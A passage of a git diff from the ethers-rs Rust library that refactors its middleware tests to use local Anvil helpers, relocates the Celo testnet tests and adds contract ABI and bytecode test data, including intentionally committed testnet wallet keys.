= provider.with_signer(wallet); + generic_pending_txs_test(provider, address).await; } -#[cfg(not(feature = "celo"))] -mod eth_tests { - use super::*; - use ethers_core::utils::Anvil; - use ethers_providers::GOERLI; - - #[tokio::test] - async fn send_eth() { - let anvil = Anvil::new().spawn(); - - // this private key belongs to the above mnemonic - let wallet: LocalWallet = anvil.keys()[0].clone().into(); - let wallet2: LocalWallet = anvil.keys()[1].clone().into(); - - // connect to the network - let provider = Provider::::try_from(anvil.endpoint()) - .unwrap() - .interval(Duration::from_millis(10u64)); - let chain_id = provider.get_chainid().await.unwrap().as_u64(); - let provider = SignerMiddleware::new_with_provider_chain(provider, wallet).await.unwrap(); - - // craft the transaction - let tx = TransactionRequest::new().to(wallet2.address()).value(10000).chain_id(chain_id); - - let balance_before = provider.get_balance(provider.address(), None).await.unwrap(); - - // send it! - provider.send_transaction(tx, None).await.unwrap(); - - let balance_after = provider.get_balance(provider.address(), None).await.unwrap(); - - assert!(balance_before > balance_after); - } - - // hardhat compatibility test, to show hardhat rejects tx signed for other chains - #[tokio::test] - #[ignore] - async fn send_with_chain_id_hardhat() { - let wallet: LocalWallet = - "ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80".parse().unwrap(); - let provider = Provider::try_from("http://localhost:8545").unwrap(); - let client = SignerMiddleware::new(provider, wallet); - - let tx = TransactionRequest::new().to(Address::random()).value(100u64); - let res = client.send_transaction(tx, None).await; - - let err = res.unwrap_err(); - assert!(err.to_string().contains( - "Trying to send an incompatible EIP-155 transaction, signed for another chain." - )); - } - - #[tokio::test] - #[ignore] - async fn send_with_chain_id_anvil() { - let wallet: LocalWallet = - "ac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80".parse().unwrap(); - let provider = Provider::try_from("http://localhost:8545").unwrap(); - let client = SignerMiddleware::new(provider, wallet); - - let tx = TransactionRequest::new().to(Address::random()).value(100u64); - let res = client.send_transaction(tx, None).await; - - let _err = res.unwrap_err(); - } - - #[tokio::test] - async fn pending_txs_with_confirmations_testnet() { - let provider = GOERLI.provider().interval(Duration::from_millis(3000)); - let chain_id = provider.get_chainid().await.unwrap(); - let wallet = WALLETS.next().with_chain_id(chain_id.as_u64()); - let address = wallet.address(); - let provider = SignerMiddleware::new(provider, wallet); - generic_pending_txs_test(provider, address).await; - } - - // different keys to avoid nonce errors - #[tokio::test] - async fn websocket_pending_txs_with_confirmations_testnet() { - let provider = GOERLI.ws().await.interval(Duration::from_millis(3000)); - let chain_id = provider.get_chainid().await.unwrap(); - let wallet = WALLETS.next().with_chain_id(chain_id.as_u64()); - let address = wallet.address(); - let provider = SignerMiddleware::new(provider, wallet); - generic_pending_txs_test(provider, address).await; - } - - async fn generic_pending_txs_test(provider: M, who: Address) { - let tx = TransactionRequest::new().to(who).from(who); - let pending_tx = provider.send_transaction(tx, None).await.unwrap(); - let tx_hash = *pending_tx; - let receipt = pending_tx.confirmations(1).await.unwrap().unwrap(); - // got the correct receipt - assert_eq!(receipt.transaction_hash, tx_hash); - } - - #[tokio::test] - async fn typed_txs() { - let provider = GOERLI.provider(); - - let chain_id = provider.get_chainid().await.unwrap(); - let wallet = WALLETS.next().with_chain_id(chain_id.as_u64()); - let address = wallet.address(); - // our wallet - let provider = SignerMiddleware::new(provider, wallet); - - // Uncomment the below and run this test to re-fund the wallets if they get drained. - // Would be ideal if we'd have a way to do this automatically, but this should be - // happening rarely enough that it doesn't matter. - // WALLETS.fund(provider.provider(), 10u32).await; - - async fn check_tx( - pending_tx: ethers_providers::PendingTransaction<'_, P>, - expected: u64, - ) { - let provider = pending_tx.provider(); - let receipt = pending_tx.await.unwrap().unwrap(); - let tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); - assert_eq!(receipt.transaction_type, Some(expected.into())); - assert_eq!(tx.transaction_type, Some(expected.into())); - } - - let nonce = provider.get_transaction_count(address, None).await.unwrap(); - let bn = Some(BlockNumber::Pending.into()); - let gas_price = provider.get_gas_price().await.unwrap() * 125 / 100; - - let tx = - TransactionRequest::new().from(address).to(address).nonce(nonce).gas_price(gas_price); - let tx1 = provider.send_transaction(tx.clone(), bn).await.unwrap(); - - let tx = tx.clone().from(address).to(address).nonce(nonce + 1).with_access_list(vec![]); - let tx2 = provider.send_transaction(tx, bn).await.unwrap(); - - let tx = Eip1559TransactionRequest::new() - .from(address) - .to(address) - .nonce(nonce + 2) - .max_fee_per_gas(gas_price) - .max_priority_fee_per_gas(gas_price); - let tx3 = provider.send_transaction(tx, bn).await.unwrap(); - - futures_util::join!(check_tx(tx1, 0), check_tx(tx2, 1), check_tx(tx3, 2),); - } - - #[tokio::test] - async fn send_transaction_handles_tx_from_field() { - // launch anvil - let anvil = Anvil::new().spawn(); - - // grab 2 wallets - let signer: LocalWallet = anvil.keys()[0].clone().into(); - let other: LocalWallet = anvil.keys()[1].clone().into(); - - // connect to the network - let provider = Provider::try_from(anvil.endpoint()).unwrap(); - let provider = - SignerMiddleware::new_with_provider_chain(provider, signer.clone()).await.unwrap(); - - // sending a TransactionRequest with a from field of None should result - // in a transaction from the signer address - let request_from_none = TransactionRequest::new(); - let receipt = provider - .send_transaction(request_from_none, None) - .await - .unwrap() - .await - .unwrap() - .unwrap(); - let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); - - assert_eq!(sent_tx.from, signer.address()); - - // sending a TransactionRequest with the signer as the from address should - // result in a transaction from the signer address - let request_from_signer = TransactionRequest::new().from(signer.address()); - let receipt = provider - .send_transaction(request_from_signer, None) - .await - .unwrap() - .await - .unwrap() - .unwrap(); - let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); - - assert_eq!(sent_tx.from, signer.address()); - - // sending a TransactionRequest with a from address that is not the signer - // should result in a transaction from the specified address - let request_from_other = TransactionRequest::new().from(other.address()); - let receipt = provider - .send_transaction(request_from_other, None) - .await - .unwrap() - .await - .unwrap() - .unwrap(); - let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); - - assert_eq!(sent_tx.from, other.address()); - } +#[tokio::test] +async fn websocket_pending_txs_with_confirmations_testnet() { + let (provider, anvil) = spawn_anvil_ws().await; + let wallet = get_wallet(&anvil, 0); + let address = wallet.address(); + let provider = provider.with_signer(wallet); + generic_pending_txs_test(provider, address).await; } -#[cfg(feature = "celo")] -mod celo_tests { - use super::*; +#[tokio::test] +async fn typed_txs() { + let (provider, anvil) = spawn_anvil(); + let wallet = get_wallet(&anvil, 0); + let address = wallet.address(); + let provider = provider.with_signer(wallet); - #[tokio::test] - async fn test_send_transaction() { - // Celo testnet - let provider = Provider::::try_from("https://alfajores-forno.celo-testnet.org") - .unwrap() - .interval(Duration::from_millis(3000u64)); - let chain_id = provider.get_chainid().await.unwrap().as_u64(); + let nonce = provider.get_transaction_count(address, None).await.unwrap(); + let bn = Some(BlockNumber::Pending.into()); + let gas_price = provider.get_gas_price().await.unwrap() * 125 / 100; - // Funded with https://celo.org/developers/faucet - // Please do not drain this account :) - let wallet = "d652abb81e8c686edba621a895531b1f291289b63b5ef09a94f686a5ecdd5db1" - .parse::() - .unwrap() - .with_chain_id(chain_id); - let client = SignerMiddleware::new(provider, wallet); + let tx = TransactionRequest::new().from(address).to(address).nonce(nonce).gas_price(gas_price); + let tx1 = provider.send_transaction(tx.clone(), bn).await.unwrap(); - let balance_before = client.get_balance(client.address(), None).await.unwrap(); - let tx = TransactionRequest::pay(client.address(), 100); - let _receipt = - client.send_transaction(tx, None).await.unwrap().confirmations(3).await.unwrap(); - let balance_after = client.get_balance(client.address(), None).await.unwrap(); - assert!(balance_before > balance_after); - } + let tx = tx.from(address).to(address).nonce(nonce + 1).with_access_list(vec![]); + let tx2 = provider.send_transaction(tx, bn).await.unwrap(); - #[tokio::test] - async fn deploy_and_call_contract() { - // compiles the given contract and returns the ABI and Bytecode - fn compile_contract(path: &str, name: &str) -> (Abi, Bytes) { - let path = format!("./tests/solidity-contracts/{path}"); - let compiled = Solc::default().compile_source(&path).unwrap(); - let contract = compiled.get(&path, name).expect("could not find contract"); - let (abi, bin, _) = contract.into_parts_or_default(); - (abi, bin) - } + let tx = Eip1559TransactionRequest::new() + .from(address) + .to(address) + .nonce(nonce + 2) + .max_fee_per_gas(gas_price) + .max_priority_fee_per_gas(gas_price); + let tx3 = provider.send_transaction(tx, bn).await.unwrap(); - let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage"); - - // Celo testnet - let provider = Provider::::try_from("https://alfajores-forno.celo-testnet.org") - .unwrap() - .interval(Duration::from_millis(6000)); - let chain_id = provider.get_chainid().await.unwrap().as_u64(); - - // Funded with https://celo.org/developers/faucet - let wallet = "58ea5643a78c36926ad5128a6b0d8dfcc7fc705788a993b1c724be3469bc9697" - .parse::() - .unwrap() - .with_chain_id(chain_id); - let client = SignerMiddleware::new_with_provider_chain(provider, wallet).await.unwrap(); - let client = Arc::new(client); - - let factory = ContractFactory::new(abi, bytecode, client); - let deployer = factory.deploy(()).unwrap().legacy(); - let contract = deployer.block(BlockNumber::Pending).send().await.unwrap(); - - let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap(); - assert_eq!(value, 0.into()); - - // make a state mutating transaction - // gas estimation costs are sometimes under-reported on celo, - // so we manually set it to avoid failures - let call = contract.method::<_, H256>("setValue", U256::from(1)).unwrap().gas(100000); - let pending_tx = call.send().await.unwrap(); - let _receipt = pending_tx.await.unwrap(); - - let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap(); - assert_eq!(value, 1.into()); - } + futures_util::join!(check_tx(tx1, 0), check_tx(tx2, 1), check_tx(tx3, 2)); +} + +#[tokio::test] +async fn send_transaction_handles_tx_from_field() { + // launch anvil + let (provider, anvil) = spawn_anvil_ws().await; + + // grab 2 wallets + let signer: LocalWallet = anvil.keys()[0].clone().into(); + let other: LocalWallet = anvil.keys()[1].clone().into(); + + // connect to the network + let provider = + SignerMiddleware::new_with_provider_chain(provider, signer.clone()).await.unwrap(); + + // sending a TransactionRequest with a from field of None should result + // in a transaction from the signer address + let request_from_none = TransactionRequest::new(); + let receipt = + provider.send_transaction(request_from_none, None).await.unwrap().await.unwrap().unwrap(); + let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); + + assert_eq!(sent_tx.from, signer.address()); + + // sending a TransactionRequest with the signer as the from address should + // result in a transaction from the signer address + let request_from_signer = TransactionRequest::new().from(signer.address()); + let receipt = + provider.send_transaction(request_from_signer, None).await.unwrap().await.unwrap().unwrap(); + let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); + + assert_eq!(sent_tx.from, signer.address()); + + // sending a TransactionRequest with a from address that is not the signer + // should result in a transaction from the specified address + let request_from_other = TransactionRequest::new().from(other.address()); + let receipt = + provider.send_transaction(request_from_other, None).await.unwrap().await.unwrap().unwrap(); + let sent_tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); + + assert_eq!(sent_tx.from, other.address()); +} + +async fn generic_pending_txs_test(provider: M, who: Address) { + let tx = TransactionRequest::new().to(who).from(who); + let pending_tx = provider.send_transaction(tx, None).await.unwrap(); + let tx_hash = *pending_tx; + let receipt = pending_tx.confirmations(1).await.unwrap().unwrap(); + // got the correct receipt + assert_eq!(receipt.transaction_hash, tx_hash); +} + +async fn check_tx( + pending_tx: ethers_providers::PendingTransaction<'_, P>, + expected: u64, +) { + let provider = pending_tx.provider(); + let receipt = pending_tx.await.unwrap().unwrap(); + let tx = provider.get_transaction(receipt.transaction_hash).await.unwrap().unwrap(); + // legacy can be either None or Some(0) + // TODO: https://github.com/foundry-rs/foundry/issues/4428 + // if expected == 0 { + // assert!(receipt.transaction_type.is_none() || receipt.transaction_type == + // Some(0.into())); } else { + // assert_eq!(receipt.transaction_type, Some(expected.into())); + // } + assert_eq!(tx.transaction_type, Some(expected.into())); } diff --git a/ethers-middleware/tests/it/transformer.rs b/ethers-middleware/tests/it/transformer.rs index c4b37c0a..87bdfcc0 100644 --- a/ethers-middleware/tests/it/transformer.rs +++ b/ethers-middleware/tests/it/transformer.rs @@ -1,54 +1,38 @@ -#![cfg(all(not(target_arch = "wasm32"), not(feature = "celo")))] - -use ethers_contract::{BaseContract, ContractFactory}; -use ethers_core::{abi::Abi, types::*, utils::Anvil}; +use crate::{get_wallet, spawn_anvil}; +use ethers_contract::abigen; +use ethers_core::{abi::AbiEncode, types::*}; use ethers_middleware::{ - transformer::{DsProxy, TransformerMiddleware}, - SignerMiddleware, + transformer::{ds_proxy::factory::DsProxyFactory, DsProxy, TransformerMiddleware}, + MiddlewareBuilder, SignerMiddleware, }; use ethers_providers::{Http, Middleware, Provider}; use ethers_signers::{LocalWallet, Signer}; -use ethers_solc::Solc; use rand::Rng; -use std::{convert::TryFrom, sync::Arc, time::Duration}; +use std::sync::Arc; type HttpWallet = SignerMiddleware, LocalWallet>; -// compiles the given contract and returns the ABI and Bytecode -fn compile_contract(path: &str, name: &str) -> (Abi, Bytes) { - let path = format!("./tests/solidity-contracts/{path}"); - let compiled = Solc::default().compile_source(&path).unwrap(); - let contract = compiled.get(&path, name).expect("could not find contract"); - let (abi, bin, _) = contract.into_parts_or_default(); - (abi, bin) -} +abigen!(SimpleStorage, "../tests/testdata/SimpleStorage.json"); #[tokio::test] +#[ignore] async fn ds_proxy_transformer() { // randomness let mut rng = rand::thread_rng(); // spawn anvil and instantiate a signer middleware. - let anvil = Anvil::new().spawn(); - let wallet: LocalWallet = anvil.keys()[0].clone().into(); - let provider = Provider::::try_from(anvil.endpoint()) - .unwrap() - .interval(Duration::from_millis(10u64)); - let chain_id = provider.get_chainid().await.unwrap().as_u64(); - let wallet = wallet.with_chain_id(chain_id); - let signer_middleware = SignerMiddleware::new(provider.clone(), wallet); - let wallet_addr = signer_middleware.address(); - let provider = Arc::new(signer_middleware.clone()); + let (provider, anvil) = spawn_anvil(); + let wallet = get_wallet(&anvil, 0); + let address = wallet.address(); + let provider = Arc::new(provider.with_signer(wallet)); // deploy DsProxyFactory which we'll use to deploy a new DsProxy contract. - let (abi, bytecode) = compile_contract("DSProxy.sol", "DSProxyFactory"); - let factory = ContractFactory::new(abi, bytecode, Arc::clone(&provider)); - let ds_proxy_factory = factory.deploy(()).unwrap().legacy(); - let ds_proxy_factory = ds_proxy_factory.send().await.unwrap(); + let deploy_tx = DsProxyFactory::deploy(provider.clone(), ()).unwrap(); + let ds_proxy_factory = deploy_tx.send().await.unwrap(); // deploy a new DsProxy contract. let ds_proxy = DsProxy::build::>( - Arc::clone(&provider), + provider.clone(), Some(ds_proxy_factory.address()), provider.address(), ) @@ -57,27 +41,28 @@ async fn ds_proxy_transformer() { let ds_proxy_addr = ds_proxy.address(); // deploy SimpleStorage and try to update its value via transformer middleware. - let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage"); - let factory = ContractFactory::new(abi, bytecode, Arc::clone(&provider)); - let deployer = factory.deploy(()).unwrap().legacy(); - let simple_storage = deployer.send().await.unwrap(); + let deploy_tx = SimpleStorage::deploy(provider.clone(), ()).unwrap(); + let simple_storage = deploy_tx.send().await.unwrap(); // instantiate a new transformer middleware. - let provider = TransformerMiddleware::new(signer_middleware, ds_proxy.clone()); + let provider = TransformerMiddleware::new(provider, ds_proxy); // broadcast the setValue tx via transformer middleware (first wallet). let expected_value: u64 = rng.gen(); - let calldata = simple_storage - .encode("setValue", U256::from(expected_value)) - .expect("could not get ABI encoded data"); - let tx = TransactionRequest::new().to(simple_storage.address()).data(calldata); - provider.send_transaction(tx, None).await.unwrap().await.unwrap(); + let _receipt = simple_storage + .set_value(expected_value.into()) + .send() + .await + .unwrap() + .await + .unwrap() + .unwrap(); // verify that DsProxy's state was updated. let last_sender = provider.get_storage_at(ds_proxy_addr, H256::zero(), None).await.unwrap(); let last_value = provider.get_storage_at(ds_proxy_addr, H256::from_low_u64_be(1u64), None).await.unwrap(); - assert_eq!(last_sender, wallet_addr.into()); + assert_eq!(last_sender, address.into()); assert_eq!(last_value, H256::from_low_u64_be(expected_value)); } @@ -87,26 +72,18 @@ async fn ds_proxy_code() { let mut rng = rand::thread_rng(); // spawn anvil and instantiate a signer middleware. - let anvil = Anvil::new().spawn(); - let wallet: LocalWallet = anvil.keys()[1].clone().into(); - let provider = Provider::::try_from(anvil.endpoint()) - .unwrap() - .interval(Duration::from_millis(10u64)); - let chain_id = provider.get_chainid().await.unwrap().as_u64(); - let wallet = wallet.with_chain_id(chain_id); - let signer_middleware = SignerMiddleware::new(provider.clone(), wallet); - let wallet_addr = signer_middleware.address(); - let provider = Arc::new(signer_middleware.clone()); + let (provider, anvil) = spawn_anvil(); + let wallet = get_wallet(&anvil, 0); + let address = wallet.address(); + let provider = Arc::new(provider.with_signer(wallet)); // deploy DsProxyFactory which we'll use to deploy a new DsProxy contract. - let (abi, bytecode) = compile_contract("DSProxy.sol", "DSProxyFactory"); - let factory = ContractFactory::new(abi, bytecode, Arc::clone(&provider)); - let ds_proxy_factory = factory.deploy(()).unwrap().legacy(); - let ds_proxy_factory = ds_proxy_factory.send().await.unwrap(); + let deploy_tx = DsProxyFactory::deploy(provider.clone(), ()).unwrap(); + let ds_proxy_factory = deploy_tx.send().await.unwrap(); // deploy a new DsProxy contract. let ds_proxy = DsProxy::build::>( - Arc::clone(&provider), + provider.clone(), Some(ds_proxy_factory.address()), provider.address(), ) @@ -114,31 +91,30 @@ async fn ds_proxy_code() { .unwrap(); let ds_proxy_addr = ds_proxy.address(); - // compile the SimpleStorage contract which we will use to interact via DsProxy. - let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage"); - let ss_base_contract: BaseContract = abi.into(); + // encode the calldata let expected_value: u64 = rng.gen(); - let calldata = ss_base_contract - .encode("setValue", U256::from(expected_value)) - .expect("could not get ABI encoded data"); + let calldata = SetValueCall { value: expected_value.into() }.encode(); // execute code via the deployed DsProxy contract. ds_proxy .execute::, Bytes>( Arc::clone(&provider), - bytecode.clone(), - calldata, + SIMPLESTORAGE_BYTECODE.clone(), + calldata.into(), ) .expect("could not construct DSProxy contract call") .legacy() .send() .await + .unwrap() + .await + .unwrap() .unwrap(); // verify that DsProxy's state was updated. let last_sender = provider.get_storage_at(ds_proxy_addr, H256::zero(), None).await.unwrap(); let last_value = provider.get_storage_at(ds_proxy_addr, H256::from_low_u64_be(1u64), None).await.unwrap(); - assert_eq!(last_sender, wallet_addr.into()); + assert_eq!(last_sender, address.into()); assert_eq!(last_value, H256::from_low_u64_be(expected_value)); } diff --git a/ethers-middleware/tests/it/wallets.rs b/ethers-middleware/tests/it/wallets.rs new file mode 100644 index 00000000..8947b19d --- /dev/null +++ b/ethers-middleware/tests/it/wallets.rs @@ -0,0 +1,62 @@ +static WALLETS: Lazy = Lazy::new(|| { + TestWallets { + mnemonic: MnemonicBuilder::default() + // Please don't drain this :) + .phrase("impose air often almost medal sudden finish quote dwarf devote theme layer"), + next: Default::default(), + } +}); + +#[derive(Debug, Default)] +struct TestWallets { + mnemonic: MnemonicBuilder, + next: AtomicU8, +} + +impl TestWallets { + /// Helper for funding the wallets with an instantiated provider + #[allow(unused)] + pub async fn fund>(&self, provider: &Provider, n: U) { + let addrs = (0..n.into()).map(|i| self.get(i).address()).collect::>(); + // hardcoded funder address private key, GOERLI + let signer = "9867bd0f8d9e16c57f5251b35a73f6f903eb8eee1bdc7f15256d0dc09d1945fb" + .parse::() + .unwrap() + .with_chain_id(provider.get_chainid().await.unwrap().as_u64()); + let provider = SignerMiddleware::new(provider, signer); + let addr = provider.address(); + + let mut nonce = provider.get_transaction_count(addr, None).await.unwrap(); + let mut pending_txs = Vec::new(); + for addr in addrs { + println!("Funding wallet {addr:?}"); + let tx = TransactionRequest::new() + .nonce(nonce) + .to(addr) + // 0.1 eth per wallet + .value(parse_ether("1").unwrap()); + pending_txs.push( + provider.send_transaction(tx, Some(BlockNumber::Pending.into())).await.unwrap(), + ); + nonce += 1.into(); + } + + futures_util::future::join_all(pending_txs).await; + } + + pub fn next(&self) -> LocalWallet { + let idx = self.next.fetch_add(1, std::sync::atomic::Ordering::SeqCst); + + // println!("Got wallet {:?}", wallet.address()); + self.get(idx) + } + + fn get>(&self, idx: T) -> LocalWallet { + self.mnemonic + .clone() + .index(idx) + .expect("index not found") + .build() + .expect("cannot build wallet") + } +} diff --git a/examples/middleware/examples/nonce_manager.rs b/examples/middleware/examples/nonce_manager.rs index e76bcc1c..594c8ed5 100644 --- a/examples/middleware/examples/nonce_manager.rs +++ b/examples/middleware/examples/nonce_manager.rs @@ -37,7 +37,7 @@ async fn main() -> Result<()> { assert_eq!(curr_nonce, 0); - nonce_manager.send_transaction(tx, None).await?; + nonce_manager.send_transaction(tx, None).await?.await?.unwrap(); let next_nonce = nonce_manager.next().as_u64(); assert_eq!(next_nonce, 1); diff --git a/tests/live/celo.rs b/tests/live/celo.rs new file mode 100644 index 00000000..df7dc3b0 --- /dev/null +++ b/tests/live/celo.rs @@ -0,0 +1,63 @@ +use crate::compile_contract; +use ethers::prelude::*; +use std::{sync::Arc, time::Duration}; + +#[tokio::test] +async fn test_send_transaction() { + // Celo testnet + let provider = Provider::::try_from("https://alfajores-forno.celo-testnet.org") + .unwrap() + .interval(Duration::from_millis(3000u64)); + let chain_id = provider.get_chainid().await.unwrap().as_u64(); + + // Funded with https://celo.org/developers/faucet + // Please do not drain this account :) + let wallet = "d652abb81e8c686edba621a895531b1f291289b63b5ef09a94f686a5ecdd5db1" + .parse::() + .unwrap() + .with_chain_id(chain_id); + let client = SignerMiddleware::new(provider, wallet); + + let balance_before = client.get_balance(client.address(), None).await.unwrap(); + let tx = TransactionRequest::pay(client.address(), 100); + let _receipt = client.send_transaction(tx, None).await.unwrap().confirmations(3).await.unwrap(); + let balance_after = client.get_balance(client.address(), None).await.unwrap(); + assert!(balance_before > balance_after); +} + +#[tokio::test] +async fn deploy_and_call_contract() { + // compiles the given contract and returns the ABI and Bytecode + let (abi, bytecode) = compile_contract("SimpleStorage.sol", "SimpleStorage"); + + // Celo testnet + let provider = Provider::::try_from("https://alfajores-forno.celo-testnet.org") + .unwrap() + .interval(Duration::from_millis(6000)); + let chain_id = provider.get_chainid().await.unwrap().as_u64(); + + // Funded with https://celo.org/developers/faucet + let wallet = "58ea5643a78c36926ad5128a6b0d8dfcc7fc705788a993b1c724be3469bc9697" + .parse::() + .unwrap() + .with_chain_id(chain_id); + let client = SignerMiddleware::new_with_provider_chain(provider, wallet).await.unwrap(); + let client = Arc::new(client); + + let factory = ContractFactory::new(abi, bytecode, client); + let deployer = factory.deploy(()).unwrap().legacy(); + let contract = deployer.block(BlockNumber::Pending).send().await.unwrap(); + + let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap(); + assert_eq!(value, 0.into()); + + // make a state mutating transaction + // gas estimation costs are sometimes under-reported on celo, + // so we manually set it to avoid failures + let call = contract.method::<_, H256>("setValue", U256::from(1)).unwrap().gas(100000); + let pending_tx = call.send().await.unwrap(); + let _receipt = pending_tx.await.unwrap(); + + let value: U256 = contract.method("value", ()).unwrap().call().await.unwrap(); + assert_eq!(value, 1.into()); +} diff --git a/tests/live/main.rs b/tests/live/main.rs new file mode 100644 index 00000000..e2f5d0a9 --- /dev/null +++ b/tests/live/main.rs @@ -0,0 +1,21 @@ +#![cfg(not(target_arch = "wasm32"))] + +use ethers::{abi::Abi, prelude::*}; + +#[cfg(feature = "celo")] +mod celo; + +/// Compiles the given contract and returns the ABI and Bytecode. +pub fn compile_contract(path: &str, name: &str) -> (Abi, Bytes) { + let path = format!("../testdata/{path}"); + let compiled = Solc::default().compile_source(&path).unwrap(); + if compiled.has_error() { + for err in compiled.errors { + eprintln!("{err}"); + } + panic!("Failed to compile"); + } + let contract = compiled.get(&path, name).expect("could not find contract"); + let (abi, bin, _) = contract.into_parts_or_default(); + (abi, bin) +} diff --git a/ethers-middleware/tests/it/solidity-contracts/DSProxy.sol b/tests/testdata/DSProxy.sol similarity index 100% rename from ethers-middleware/tests/it/solidity-contracts/DSProxy.sol rename to tests/testdata/DSProxy.sol diff --git a/tests/testdata/SimpleStorage.json b/tests/testdata/SimpleStorage.json new file mode 100644 index 00000000..b52ec0a5 --- /dev/null +++ b/tests/testdata/SimpleStorage.json @@ -0,0 +1 @@ +{"abi":[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"author","type":"address"},{"indexed":true,"internalType":"address","name":"oldAuthor","type":"address"},{"indexed":false,"internalType":"uint256","name":"oldValue","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"ValueChanged","type":"event"},{"inputs":[],"name":"lastSender","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setValue","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"value","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}],"bytecode":"608060405234801561001057600080fd5b50610155806100206000396000f3fe608060405234801561001057600080fd5b50600436106100415760003560e01c8063256fec88146100465780633fa4f24514610076578063552410771461008d575b600080fd5b600054610059906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007f60015481565b60405190815260200161006d565b6100a061009b366004610106565b6100a2565b005b60005460015460408051918252602082018490526001600160a01b039092169133917f43a35cb4f6bbf56c64a97aba2d057d75ae7c2b008cfbbcf77c9bd7f2a525d969910160405180910390a3600155600080546001600160a01b03191633179055565b60006020828403121561011857600080fd5b503591905056fea26469706673582212202aa583b44008e0a0ecde172d743bed0508a31118ec816f86cd3551d73480e13d64736f6c63430008130033"} diff --git a/ethers-middleware/tests/it/solidity-contracts/SimpleStorage.sol b/tests/testdata/SimpleStorage.sol similarity index 100% rename from ethers-middleware/tests/it/solidity-contracts/SimpleStorage.sol rename to tests/testdata/SimpleStorage.sol diff --git a/tests/testdata/the_dao_abi.expr b/tests/testdata/the_dao_abi.expr new file mode 100644 index 00000000..b2c3cfaa --- /dev/null +++ b/tests/testdata/the_dao_abi.expr @@ -0,0 +1 @@ +"[{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"name\":\"proposals\",\"outputs\":[{\"name\":\"recipient\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"description\",\"type\":\"string\"},{\"name\":\"votingDeadline\",\"type\":\"uint256\"},{\"name\":\"open\",\"type\":\"bool\"},{\"name\":\"proposalPassed\",\"type\":\"bool\"},{\"name\":\"proposalHash\",\"type\":\"bytes32\"},{\"name\":\"proposalDeposit\",\"type\":\"uint256\"},{\"name\":\"newCurator\",\"type\":\"bool\"},{\"name\":\"yea\",\"type\":\"uint256\"},{\"name\":\"nay\",\"type\":\"uint256\"},{\"name\":\"creator\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_spender\",\"type\":\"address\"},{\"name\":\"_amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"name\":\"success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"minTokensToCreate\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"rewardAccount\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"daoCreator\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"divisor\",\"outputs\":[{\"name\":\"divisor\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"extraBalance\",\"outputs\":[{\"name\":\"\",\"type\":\"address\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_proposalID\",\"type\":\"uint256\"},{\"name\":\"_transactionData\",\"type\":\"bytes\"}],\"name\":\"executeProposal\",\"outputs\":[{\"name\":\"_success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_from\",\"type\":\"address\"},{\"name\":\"_to\",\"type\":\"address\"},{\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"name\":\"success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"unblockMe\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"totalRewardToken\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"actualBalance\",\"outputs\":[{\"name\":\"_actualBalance\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[],\"name\":\"closingTime\",\"outputs\":[{\"name\":\"\",\"type\":\"uint256\"}],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"\",\"type\":\"address\"}],\"name\":\"allowedRecipients\",\"outputs\":[{\"name\":\"\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[{\"name\":\"_to\",\"type\":\"address\"},{\"name\":\"_value\",\"type\":\"uint256\"}],\"name\":\"transferWithoutReward\",\"outputs\":[{\"name\":\"success\",\"type\":\"bool\"}],\"type\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"refund\",\"outputs\":[],\"type\":\"